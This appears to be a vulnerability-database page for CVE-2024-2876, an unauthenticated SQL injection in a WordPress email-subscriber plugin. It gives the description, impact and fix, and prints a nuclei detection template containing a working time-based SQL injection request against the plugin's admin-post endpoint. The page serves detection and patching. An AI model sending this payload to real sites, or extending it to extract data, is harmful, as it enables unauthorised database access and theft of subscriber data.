HexBrain

Browse / CVEs / CVE-2024-2876

CVE-2024-2876

Wordpress Email Subscribers by Icegram Express - SQL Injection

criticalseverity
80.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive subscriber data or modifying database contents.

Fix

Update Email Subscribers plugin to a version that patches CVE-2024-2876.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=4 and status_code == 200 and contains(header, "application/json") and contains_all(body, "bulk_action", "_sent", "errortype")

Run it with nuclei: nuclei -id CVE-2024-2876 -u <target>

The full check
id: CVE-2024-2876

info:
  name: Wordpress Email Subscribers by Icegram Express - SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress & WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive subscriber data or modifying database contents.
  remediation: |
    Update Email Subscribers plugin to a version that patches CVE-2024-2876.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2876
    - https://www.wordfence.com/blog/2024/04/1250-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-email-subscribers-by-icegram-express-wordpress-plugin/
  classification:
    epss-score: 0.80596
    epss-percentile: 0.99628
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/email-subscribers/"
  tags: time-based-sqli,cve,cve2024,wp,wordpress,wp-plugin,sqli,email-subscribers,wpscan,vkev,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

    matchers:
      - type: dsl
        dsl:
          - 'duration>=4'
          - 'status_code == 200'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "bulk_action", "_sent", "errortype")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from